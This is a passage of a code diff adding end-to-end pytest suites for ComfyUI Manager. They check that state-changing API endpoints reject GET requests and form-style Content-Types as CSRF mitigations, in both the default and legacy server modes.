f"Unknown/junk value on {endpoint} should return 400, got {resp.status_code}"
|
||||
)
|
||||
|
||||
if values is not None:
|
||||
# Static whitelist: on-disk value must still be a whitelisted
|
||||
# value (server did not write junk).
|
||||
post_disk = _read_config_ini_value(key)
|
||||
assert post_disk in values, (
|
||||
f"config.ini {key} corrupted with junk value: {post_disk!r}"
|
||||
)
|
||||
else:
|
||||
# Dynamic whitelist (channel): API-level NAME must be unchanged.
|
||||
post_api_selected = _read_channel_selected()
|
||||
assert pre_api_selected == post_api_selected, (
|
||||
f"{endpoint} selected mutated on invalid request: "
|
||||
f"{pre_api_selected!r} -> {post_api_selected!r}"
|
||||
)
|
||||
# Also check config.ini URL is unchanged (if pre was present).
|
||||
assert _read_config_ini_value(key) == pre_disk, (
|
||||
f"config.ini {key} changed on invalid {endpoint} POST"
|
||||
)
|
||||
@@ -0,0 +1,315 @@
|
||||
"""E2E tests for the GET-rejection contract on state-changing endpoints.
|
||||
|
||||
SCOPE — important clarification:
|
||||
This suite verifies ONE specific CSRF mitigation layer: that state-changing
|
||||
endpoints reject HTTP GET requests (so that <img src="..."> / link-click /
|
||||
redirect-based cross-origin triggers cannot mutate server state). This is
|
||||
the contract established in commit 99caef55 which converted 12+ endpoints
|
||||
from GET to POST.
|
||||
|
||||
NOT COVERED by this suite:
|
||||
- Origin / Referer header validation
|
||||
- Same-site cookie enforcement
|
||||
- Anti-CSRF token verification
|
||||
- Cross-site form POST defense
|
||||
|
||||
Those remaining CSRF defenses are handled separately (e.g., via the
|
||||
origin_only_middleware at the aiohttp layer) and are the subject of
|
||||
other test layers. Do NOT read PASS here as "CSRF fully solved" — read
|
||||
it as "the method-conversion contract holds".
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui() -> int:
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI:\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui():
|
||||
pid = _start_comfyui()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# State-changing endpoints that MUST reject GET per CSRF mitigation contract
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# (method, path, description) — derived from commit 99caef55 scope
|
||||
STATE_CHANGING_POST_ENDPOINTS = [
|
||||
("/v2/manager/queue/start", "start worker"),
|
||||
("/v2/manager/queue/reset", "reset queue"),
|
||||
("/v2/manager/queue/update_all", "update all packs"),
|
||||
("/v2/manager/queue/update_comfyui", "update ComfyUI core"),
|
||||
("/v2/manager/queue/install_model", "queue model download"),
|
||||
("/v2/manager/queue/task", "enqueue task"),
|
||||
("/v2/snapshot/save", "save snapshot"),
|
||||
("/v2/snapshot/remove", "remove snapshot"),
|
||||
("/v2/snapshot/restore", "restore snapshot"),
|
||||
("/v2/manager/reboot", "reboot server"),
|
||||
("/v2/comfyui_manager/comfyui_switch_version", "switch ComfyUI version"),
|
||||
("/v2/customnode/import_fail_info", "import fail info"),
|
||||
("/v2/customnode/import_fail_info_bulk", "bulk import fail info"),
|
||||
]
|
||||
|
||||
|
||||
class TestStateChangingEndpointsRejectGet:
|
||||
"""Every state-changing endpoint MUST reject HTTP GET.
|
||||
|
||||
This is the narrow CSRF-mitigation contract established by the
|
||||
GET→POST conversion (commit 99caef55). It blocks <img>-tag,
|
||||
link-click, and redirect-based cross-origin triggers. Full origin
|
||||
verification is a separate layer and is NOT tested here.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path,description",
|
||||
STATE_CHANGING_POST_ENDPOINTS,
|
||||
ids=[p for p, _ in STATE_CHANGING_POST_ENDPOINTS],
|
||||
)
|
||||
def test_get_is_rejected(self, comfyui, path, description):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}{path}",
|
||||
timeout=10,
|
||||
allow_redirects=False,
|
||||
)
|
||||
# GET must NOT succeed with any 2xx or redirect status on a
|
||||
# state-changing endpoint. Prior assertion had a Python operator-
|
||||
# precedence bug (`A or (X is False)` → dead code). Use explicit
|
||||
# membership check instead.
|
||||
assert resp.status_code not in range(200, 400), (
|
||||
f"CSRF-CONTRACT BYPASS: GET {path} returned {resp.status_code} "
|
||||
f"(2xx/3xx indicates accept or redirect — endpoint must reject): "
|
||||
f"{description}"
|
||||
)
|
||||
# Narrow the accepted rejection statuses to method-not-allowed /
|
||||
# not-found / forbidden / bad-request. Other 4xx/5xx codes are
|
||||
# suspicious and should be investigated.
|
||||
assert resp.status_code in (400, 403, 404, 405), (
|
||||
f"GET {path} returned unexpected status {resp.status_code} "
|
||||
f"(expected 400/403/404/405): {resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestCsrfPostWorks:
|
||||
"""Sanity check: the POST counterparts actually work (CSRF fix didn't break the API)."""
|
||||
|
||||
def test_queue_reset_post_works(self, comfyui):
|
||||
"""POST queue/reset should succeed (the same path rejects GET)."""
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/reset", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST queue/reset should succeed, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
|
||||
def test_snapshot_save_post_works(self, comfyui):
|
||||
"""POST snapshot/save should succeed."""
|
||||
resp = requests.post(f"{BASE_URL}/v2/snapshot/save", timeout=30)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST snapshot/save should succeed, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
# Cleanup — remove the snapshot we just created
|
||||
list_resp = requests.get(f"{BASE_URL}/v2/snapshot/getlist", timeout=10)
|
||||
if list_resp.ok:
|
||||
items = list_resp.json().get("items", [])
|
||||
if items:
|
||||
requests.post(
|
||||
f"{BASE_URL}/v2/snapshot/remove",
|
||||
params={"target": items[0]},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
|
||||
class TestCsrfReadEndpointsStillAllowGet:
|
||||
"""Negative control: read-only endpoints should still allow GET.
|
||||
|
||||
Ensures the CSRF fix didn't over-correct by making pure-read endpoints
|
||||
POST-only, which would break the UI.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path",
|
||||
[
|
||||
"/v2/manager/version",
|
||||
"/v2/manager/db_mode",
|
||||
"/v2/manager/policy/update",
|
||||
"/v2/manager/channel_url_list",
|
||||
"/v2/manager/queue/status",
|
||||
"/v2/manager/queue/history_list",
|
||||
"/v2/manager/is_legacy_manager_ui",
|
||||
"/v2/customnode/installed",
|
||||
"/v2/snapshot/getlist",
|
||||
"/v2/snapshot/get_current",
|
||||
"/v2/comfyui_manager/comfyui_versions",
|
||||
],
|
||||
)
|
||||
def test_get_read_endpoint_succeeds(self, comfyui, path):
|
||||
resp = requests.get(f"{BASE_URL}{path}", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"Read endpoint GET {path} should succeed, got {resp.status_code}: "
|
||||
f"{resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Content-Type gate — second CSRF mitigation layer
|
||||
# ---------------------------------------------------------------------------
|
||||
#
|
||||
# GET→POST conversion alone does NOT block <form method=POST> from a malicious
|
||||
# cross-origin page, because browsers mark form submissions with one of three
|
||||
# CORS "simple request" Content-Types (Fetch spec §3.2.3) and do NOT preflight
|
||||
# them. These 9 high-risk state mutation endpoints therefore additionally
|
||||
# reject those three MIME types at the handler entry. Bare POST (no body) and
|
||||
# application/json remain accepted — same-origin fetch() and existing
|
||||
# manager-core JS callers are unaffected.
|
||||
#
|
||||
# Source of truth for the gated handler list:
|
||||
# comfyui_manager/common/manager_security.py :: reject_simple_form_post
|
||||
# comfyui_manager/glob/manager_server.py :: 9 handlers call it
|
||||
FORM_REJECTED_POST_ENDPOINTS = [
|
||||
"/v2/manager/queue/update_all",
|
||||
"/v2/snapshot/remove",
|
||||
"/v2/snapshot/restore",
|
||||
"/v2/snapshot/save",
|
||||
"/v2/manager/queue/reset",
|
||||
"/v2/manager/queue/start",
|
||||
"/v2/manager/queue/update_comfyui",
|
||||
# "/v2/comfyui_manager/comfyui_switch_version" — removed in WI #258:
|
||||
# migrated from query-string to JSON body, now a body-reading handler.
|
||||
# Per the module policy in common/manager_security.py, body-reading
|
||||
# handlers are NOT gated (CORS preflight on application/json already
|
||||
# blocks cross-origin form POST forgery).
|
||||
"/v2/manager/reboot",
|
||||
]
|
||||
|
||||
SIMPLE_FORM_CONTENT_TYPES = [
|
||||
"application/x-www-form-urlencoded",
|
||||
"multipart/form-data; boundary=----WebKitFormBoundaryTest",
|
||||
"text/plain",
|
||||
]
|
||||
|
||||
|
||||
class TestFormContentTypeRejected:
|
||||
"""Every gated state-changing endpoint MUST reject CORS simple-request
|
||||
Content-Types to block preflight-less <form method=POST> CSRF.
|
||||
|
||||
Matrix: 9 endpoints × 3 Content-Types = 27 assertions.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"content_type",
|
||||
SIMPLE_FORM_CONTENT_TYPES,
|
||||
ids=["urlencoded", "multipart", "textplain"],
|
||||
)
|
||||
@pytest.mark.parametrize(
|
||||
"path",
|
||||
FORM_REJECTED_POST_ENDPOINTS,
|
||||
ids=FORM_REJECTED_POST_ENDPOINTS,
|
||||
)
|
||||
def test_form_content_type_rejected(self, comfyui, path, content_type):
|
||||
"""POST with a simple-form Content-Type must be rejected with 400.
|
||||
|
||||
The handler's Content-Type gate runs BEFORE the security_level check,
|
||||
so the expected status is 400 even under security levels that would
|
||||
otherwise return 403.
|
||||
"""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}{path}",
|
||||
headers={"Content-Type": content_type},
|
||||
data="", # empty body still counts: browsers would not preflight
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"CSRF FORM-POST GATE BYPASS: POST {path} with "
|
||||
f"Content-Type={content_type!r} returned {resp.status_code} "
|
||||
f"(expected 400): {resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestNoBodyPostStillAccepted:
|
||||
"""Positive control: bare POST (no body, no Content-Type) must still pass
|
||||
the form-content-type gate.
|
||||
|
||||
The existing frontend (snapshot.js, comfyui-manager.js, etc.) issues
|
||||
fetch()/XHR POSTs without an explicit body for these idempotent-ish
|
||||
operations; a regression here would break those callers.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path",
|
||||
# Subset — pick endpoints whose happy path is deterministic under the
|
||||
# default E2E environment. queue/update_comfyui, snapshot/restore etc.
|
||||
# have side effects (spawn worker, stage restore file) or require
|
||||
# a specific security level that isn't guaranteed here.
|
||||
[
|
||||
"/v2/manager/queue/reset",
|
||||
"/v2/manager/queue/start",
|
||||
"/v2/snapshot/save",
|
||||
],
|
||||
ids=["queue-reset", "queue-start", "snapshot-save"],
|
||||
)
|
||||
def test_no_body_post_still_accepted(self, comfyui, path):
|
||||
"""Bare POST (no Content-Type, no body) must NOT be rejected by the
|
||||
form-content-type gate. Any response other than 400-with-form-text
|
||||
proves the gate did not fire."""
|
||||
resp = requests.post(f"{BASE_URL}{path}", timeout=30)
|
||||
# The gate returns 400 with a very specific text. Non-gate 400s
|
||||
# (validation errors, etc.) are allowed — we only assert the gate
|
||||
# itself didn't trigger.
|
||||
if resp.status_code == 400:
|
||||
assert "Invalid Content-Type for this endpoint" not in resp.text, (
|
||||
f"POST {path} (bare) hit the form-content-type gate: "
|
||||
f"{resp.text[:200]}"
|
||||
)
|
||||
@@ -0,0 +1,388 @@
|
||||
"""E2E tests for the GET-rejection contract on legacy-mode state-changing endpoints.
|
||||
|
||||
SCOPE — important clarification:
|
||||
This suite is the LEGACY-MODE counterpart to test_e2e_csrf.py. It verifies the
|
||||
same CSRF mitigation contract — that state-changing endpoints reject HTTP GET —
|
||||
but against the legacy manager_server module loaded via --enable-manager-legacy-ui.
|
||||
|
||||
Why a separate file:
|
||||
comfyui_manager/__init__.py loads `glob.manager_server` XOR `legacy.manager_server`
|
||||
(mutex via args.enable_manager_legacy_ui). So a single ComfyUI process exposes
|
||||
either the glob route table or the legacy route table, never both. Verifying
|
||||
legacy CSRF mitigation requires its own server lifecycle with the legacy flag
|
||||
set, which is incompatible with the module-scoped glob fixture in test_e2e_csrf.py.
|
||||
|
||||
Coverage gap closed by this file:
|
||||
Commit 99caef55 ("fix(security): mitigate CSRF on state-changing endpoints")
|
||||
applied the GET→POST conversion to BOTH glob/manager_server.py (91 line diff)
|
||||
and legacy/manager_server.py (92 line diff). However, test_e2e_csrf.py only
|
||||
exercises glob mode (start_comfyui.sh uses --enable-manager without
|
||||
--enable-manager-legacy-ui). Without this file, anyone reverting a legacy
|
||||
@routes.post back to @routes.get would not be caught by CI.
|
||||
|
||||
Endpoint list — derived empirically from the working tree (NOT statically from
|
||||
the 99caef55 diff), because subsequent legacy refactoring removed several
|
||||
endpoints that were initially in scope (e.g., queue/abort_current). The list
|
||||
mirrors test_e2e_csrf.py's STATE_CHANGING_POST_ENDPOINTS for parity, with three
|
||||
adjustments:
|
||||
- Drop /v2/manager/queue/task (glob-only; legacy uses queue/batch instead)
|
||||
- Add /v2/manager/queue/batch (legacy task enqueue, mirrors queue/task role)
|
||||
- Drop /v2/manager/db_mode, /v2/manager/policy/update, /v2/manager/channel_url_list
|
||||
from REJECT-GET. These are split into @routes.get (read) + @routes.post
|
||||
(write) in BOTH glob and legacy. The CSRF mitigation contract applies only
|
||||
to the POST half — GET legitimately serves the current value. They remain
|
||||
in the ALLOW-GET list below. (test_e2e_csrf.py erroneously includes them in
|
||||
both lists, so the equivalent assertions fail there too — see follow-up note
|
||||
in WI-FF completion_report.)
|
||||
|
||||
Legacy-parity additions (WI-JJ):
|
||||
- /v2/customnode/install/git_url, /v2/customnode/install/pip — legacy-only
|
||||
install endpoints. Added to LEGACY_STATE_CHANGING_POST_ENDPOINTS for
|
||||
GET-rejection coverage; happy-path install E2E remains out of scope.
|
||||
- /v2/manager/is_legacy_manager_ui legacy-side flag value asserted True via
|
||||
TestLegacyIsLegacyManagerUIReturnsTrue — symmetric to the glob-side
|
||||
False assertion in test_e2e_system_info.py::test_returns_boolean_field.
|
||||
|
||||
NOT COVERED by this suite (same caveats as test_e2e_csrf.py):
|
||||
- Origin / Referer header validation
|
||||
- Same-site cookie enforcement
|
||||
- Anti-CSRF token verification
|
||||
- Cross-site form POST defense
|
||||
|
||||
Requires a pre-built E2E environment (from setup_e2e_env.sh).
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
import pytest
|
||||
import requests
|
||||
|
||||
E2E_ROOT = os.environ.get("E2E_ROOT", "")
|
||||
COMFYUI_PATH = os.path.join(E2E_ROOT, "comfyui") if E2E_ROOT else ""
|
||||
SCRIPTS_DIR = os.path.join(
|
||||
os.path.dirname(os.path.abspath(__file__)), "scripts"
|
||||
)
|
||||
|
||||
PORT = 8199
|
||||
BASE_URL = f"http://127.0.0.1:{PORT}"
|
||||
|
||||
pytestmark = pytest.mark.skipif(
|
||||
not E2E_ROOT
|
||||
or not os.path.isfile(os.path.join(E2E_ROOT, ".e2e_setup_complete")),
|
||||
reason="E2E_ROOT not set or E2E environment not ready",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Helpers — start_comfyui_legacy.sh wrapper sets ENABLE_LEGACY_UI=1 which
|
||||
# translates to --enable-manager-legacy-ui inside start_comfyui.sh.
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _start_comfyui_legacy() -> int:
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
r = subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "start_comfyui_legacy.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=180,
|
||||
env=env,
|
||||
)
|
||||
if r.returncode != 0:
|
||||
raise RuntimeError(f"Failed to start ComfyUI (legacy):\n{r.stderr}")
|
||||
for part in r.stdout.strip().split():
|
||||
if part.startswith("COMFYUI_PID="):
|
||||
return int(part.split("=")[1])
|
||||
raise RuntimeError(f"Could not parse PID:\n{r.stdout}")
|
||||
|
||||
|
||||
def _stop_comfyui():
|
||||
env = {**os.environ, "E2E_ROOT": E2E_ROOT, "PORT": str(PORT)}
|
||||
subprocess.run(
|
||||
["bash", os.path.join(SCRIPTS_DIR, "stop_comfyui.sh")],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
timeout=30,
|
||||
env=env,
|
||||
)
|
||||
|
||||
|
||||
@pytest.fixture(scope="module")
|
||||
def comfyui_legacy():
|
||||
pid = _start_comfyui_legacy()
|
||||
yield pid
|
||||
_stop_comfyui()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# State-changing legacy endpoints that MUST reject GET per CSRF mitigation contract
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
# (path, description) — mirrors test_e2e_csrf.py STATE_CHANGING_POST_ENDPOINTS,
|
||||
# with queue/task replaced by queue/batch (legacy task-enqueue equivalent).
|
||||
LEGACY_STATE_CHANGING_POST_ENDPOINTS = [
|
||||
("/v2/manager/queue/start", "start worker"),
|
||||
("/v2/manager/queue/reset", "reset queue"),
|
||||
("/v2/manager/queue/update_all", "update all packs"),
|
||||
("/v2/manager/queue/update_comfyui", "update ComfyUI core"),
|
||||
("/v2/manager/queue/install_model", "queue model download"),
|
||||
("/v2/manager/queue/batch", "enqueue task batch (legacy)"),
|
||||
("/v2/snapshot/save", "save snapshot"),
|
||||
("/v2/snapshot/remove", "remove snapshot"),
|
||||
("/v2/snapshot/restore", "restore snapshot"),
|
||||
("/v2/manager/reboot", "reboot server"),
|
||||
("/v2/comfyui_manager/comfyui_switch_version", "switch ComfyUI version"),
|
||||
# NOTE: db_mode, policy/update, channel_url_list have a legitimate GET handler
|
||||
# for reading the current value; only POST mutates state. Verified separately
|
||||
# in TestLegacyCsrfReadEndpointsStillAllowGet below.
|
||||
("/v2/customnode/import_fail_info", "import fail info"),
|
||||
("/v2/customnode/import_fail_info_bulk", "bulk import fail info"),
|
||||
# Legacy-only install endpoints (no glob counterpart). Added in WI-JJ to
|
||||
# extend CSRF GET-rejection coverage — these are state-changing (they
|
||||
# enqueue install tasks) and must not be triggerable via <img>/link.
|
||||
("/v2/customnode/install/git_url", "install custom node by git URL (legacy-only)"),
|
||||
("/v2/customnode/install/pip", "install pip package for custom node (legacy-only)"),
|
||||
]
|
||||
|
||||
|
||||
class TestLegacyStateChangingEndpointsRejectGet:
|
||||
"""Every legacy state-changing endpoint MUST reject HTTP GET.
|
||||
|
||||
Verifies the CSRF-mitigation contract on the legacy server module
|
||||
under --enable-manager-legacy-ui. Mirrors the glob-side test in
|
||||
test_e2e_csrf.py::TestStateChangingEndpointsRejectGet.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path,description",
|
||||
LEGACY_STATE_CHANGING_POST_ENDPOINTS,
|
||||
ids=[p for p, _ in LEGACY_STATE_CHANGING_POST_ENDPOINTS],
|
||||
)
|
||||
def test_get_is_rejected(self, comfyui_legacy, path, description):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}{path}",
|
||||
timeout=10,
|
||||
allow_redirects=False,
|
||||
)
|
||||
assert resp.status_code not in range(200, 400), (
|
||||
f"CSRF-CONTRACT BYPASS (legacy): GET {path} returned "
|
||||
f"{resp.status_code} (2xx/3xx indicates accept or redirect — "
|
||||
f"endpoint must reject): {description}"
|
||||
)
|
||||
assert resp.status_code in (400, 403, 404, 405), (
|
||||
f"GET {path} returned unexpected status {resp.status_code} "
|
||||
f"(expected 400/403/404/405): {resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyCsrfPostWorks:
|
||||
"""Sanity check: the legacy POST counterparts actually work."""
|
||||
|
||||
def test_queue_reset_post_works(self, comfyui_legacy):
|
||||
"""POST queue/reset should succeed (the same path rejects GET)."""
|
||||
resp = requests.post(f"{BASE_URL}/v2/manager/queue/reset", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST queue/reset should succeed, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
|
||||
def test_snapshot_save_post_works(self, comfyui_legacy):
|
||||
"""POST snapshot/save should succeed on legacy."""
|
||||
resp = requests.post(f"{BASE_URL}/v2/snapshot/save", timeout=30)
|
||||
assert resp.status_code == 200, (
|
||||
f"POST snapshot/save should succeed, got {resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
# Cleanup — remove the snapshot we just created
|
||||
list_resp = requests.get(f"{BASE_URL}/v2/snapshot/getlist", timeout=10)
|
||||
if list_resp.ok:
|
||||
items = list_resp.json().get("items", [])
|
||||
if items:
|
||||
requests.post(
|
||||
f"{BASE_URL}/v2/snapshot/remove",
|
||||
params={"target": items[0]},
|
||||
timeout=10,
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyCsrfReadEndpointsStillAllowGet:
|
||||
"""Negative control: read-only legacy endpoints should still allow GET.
|
||||
|
||||
Ensures the CSRF fix didn't over-correct on legacy by making pure-read
|
||||
endpoints POST-only, which would break the legacy UI.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path",
|
||||
[
|
||||
"/v2/manager/version",
|
||||
"/v2/manager/db_mode",
|
||||
"/v2/manager/policy/update",
|
||||
"/v2/manager/channel_url_list",
|
||||
"/v2/manager/queue/status",
|
||||
"/v2/manager/queue/history_list",
|
||||
"/v2/manager/is_legacy_manager_ui",
|
||||
"/v2/customnode/installed",
|
||||
"/v2/snapshot/getlist",
|
||||
"/v2/snapshot/get_current",
|
||||
"/v2/comfyui_manager/comfyui_versions",
|
||||
],
|
||||
)
|
||||
def test_get_read_endpoint_succeeds(self, comfyui_legacy, path):
|
||||
resp = requests.get(f"{BASE_URL}{path}", timeout=10)
|
||||
assert resp.status_code == 200, (
|
||||
f"Legacy read endpoint GET {path} should succeed, got "
|
||||
f"{resp.status_code}: {resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyIsLegacyManagerUIReturnsTrue:
|
||||
"""Legacy-mode parity for TestIsLegacyManagerUI in test_e2e_system_info.py.
|
||||
|
||||
The glob-side test (`system_info.py::test_returns_boolean_field`) asserts
|
||||
the flag returns False under start_comfyui.sh (which omits
|
||||
--enable-manager-legacy-ui). This test asserts the symmetric contract:
|
||||
under start_comfyui_legacy.sh the handler must return True.
|
||||
|
||||
Launcher-deterministic: `tests/e2e/scripts/start_comfyui_legacy.sh` sets
|
||||
ENABLE_LEGACY_UI=1, which start_comfyui.sh translates to
|
||||
--enable-manager-legacy-ui. `action='store_true'` makes the flag True,
|
||||
so the handler at legacy/manager_server.py:995-999 must return
|
||||
`{"is_legacy_manager_ui": True}`.
|
||||
|
||||
Without this assertion, a regression that silently drops the CLI flag
|
||||
(e.g., mis-edited MANAGER_FLAGS in start_comfyui.sh) would leave the
|
||||
legacy route table in place while the flag-value response reverted to
|
||||
False — breaking UI mode detection for any frontend code that keys off
|
||||
this endpoint.
|
||||
"""
|
||||
|
||||
def test_returns_true_under_legacy_mode(self, comfyui_legacy):
|
||||
resp = requests.get(
|
||||
f"{BASE_URL}/v2/manager/is_legacy_manager_ui", timeout=10
|
||||
)
|
||||
assert resp.status_code == 200, (
|
||||
f"Expected 200, got {resp.status_code}"
|
||||
)
|
||||
data = resp.json()
|
||||
assert "is_legacy_manager_ui" in data, (
|
||||
f"Response missing 'is_legacy_manager_ui' field: {data}"
|
||||
)
|
||||
assert data["is_legacy_manager_ui"] is True, (
|
||||
f"Legacy launcher sets --enable-manager-legacy-ui; expected True, "
|
||||
f"got {data['is_legacy_manager_ui']!r}. "
|
||||
f"If start_comfyui_legacy.sh stopped propagating ENABLE_LEGACY_UI=1, "
|
||||
f"fix the wrapper rather than relaxing this assertion."
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Content-Type gate — legacy-side parity with test_e2e_csrf.py
|
||||
# ---------------------------------------------------------------------------
|
||||
#
|
||||
# The 9 legacy handlers mirrored from glob each call
|
||||
# manager_security.reject_simple_form_post() before their security-level
|
||||
# check. This suite verifies the legacy route table enforces the same
|
||||
# CORS-simple-request Content-Type rejection contract.
|
||||
LEGACY_FORM_REJECTED_POST_ENDPOINTS = [
|
||||
"/v2/manager/queue/update_all",
|
||||
"/v2/snapshot/remove",
|
||||
"/v2/snapshot/restore",
|
||||
"/v2/snapshot/save",
|
||||
"/v2/manager/queue/reset",
|
||||
"/v2/manager/queue/start",
|
||||
"/v2/manager/queue/update_comfyui",
|
||||
# "/v2/comfyui_manager/comfyui_switch_version" — removed in WI #258:
|
||||
# migrated from query-string to JSON body on legacy + glob in parallel,
|
||||
# body-reading handler is not Content-Type-gated (see module policy in
|
||||
# common/manager_security.py).
|
||||
"/v2/manager/reboot",
|
||||
]
|
||||
|
||||
LEGACY_SIMPLE_FORM_CONTENT_TYPES = [
|
||||
"application/x-www-form-urlencoded",
|
||||
"multipart/form-data; boundary=----WebKitFormBoundaryTest",
|
||||
"text/plain",
|
||||
]
|
||||
|
||||
|
||||
class TestLegacyFormContentTypeRejected:
|
||||
"""Legacy counterpart to TestFormContentTypeRejected in test_e2e_csrf.py.
|
||||
|
||||
Matrix: 9 endpoints × 3 Content-Types = 27 assertions against the legacy
|
||||
route table.
|
||||
"""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"content_type",
|
||||
LEGACY_SIMPLE_FORM_CONTENT_TYPES,
|
||||
ids=["urlencoded", "multipart", "textplain"],
|
||||
)
|
||||
@pytest.mark.parametrize(
|
||||
"path",
|
||||
LEGACY_FORM_REJECTED_POST_ENDPOINTS,
|
||||
ids=LEGACY_FORM_REJECTED_POST_ENDPOINTS,
|
||||
)
|
||||
def test_form_content_type_rejected(
|
||||
self, comfyui_legacy, path, content_type
|
||||
):
|
||||
"""POST with a simple-form Content-Type must be rejected with 400
|
||||
on the legacy route table as well."""
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}{path}",
|
||||
headers={"Content-Type": content_type},
|
||||
data="",
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"CSRF FORM-POST GATE BYPASS (legacy): POST {path} with "
|
||||
f"Content-Type={content_type!r} returned {resp.status_code} "
|
||||
f"(expected 400): {resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacyNoBodyPostStillAccepted:
|
||||
"""Positive control for the legacy route table: bare POST still works."""
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"path",
|
||||
[
|
||||
"/v2/manager/queue/reset",
|
||||
"/v2/manager/queue/start",
|
||||
"/v2/snapshot/save",
|
||||
],
|
||||
ids=["queue-reset", "queue-start", "snapshot-save"],
|
||||
)
|
||||
def test_no_body_post_still_accepted(self, comfyui_legacy, path):
|
||||
"""Bare POST (no Content-Type, no body) must not hit the gate on
|
||||
legacy either."""
|
||||
resp = requests.post(f"{BASE_URL}{path}", timeout=30)
|
||||
if resp.status_code == 400:
|
||||
assert "Invalid Content-Type for this endpoint" not in resp.text, (
|
||||
f"POST {path} (bare, legacy) hit the form-content-type gate: "
|
||||
f"{resp.text[:200]}"
|
||||
)
|
||||
|
||||
|
||||
class TestLegacySetChannelUrlRejectsInvalid:
|
||||
"""Legacy set_channel_url must reject unknown channel names with 400
|
||||
(MAJOR fix — previously silently returned 200).
|
||||
|
||||
Parity with glob set_channel_url and with set_db_mode /
|
||||
set_update_policy whitelist enforcement.
|
||||
"""
|
||||
|
||||
def test_invalid_channel_returns_400(self, comfyui_legacy):
|
||||
resp = requests.post(
|
||||
f"{BASE_URL}/v2/manager/channel_url_list",
|
||||
json={"value": "definitely-not-a-real-channel"},
|
||||
timeout=10,
|
||||
)
|
||||
assert resp.status_code == 400, (
|
||||
f"Legacy set_channel_url accepted unknown channel silently: "
|
||||
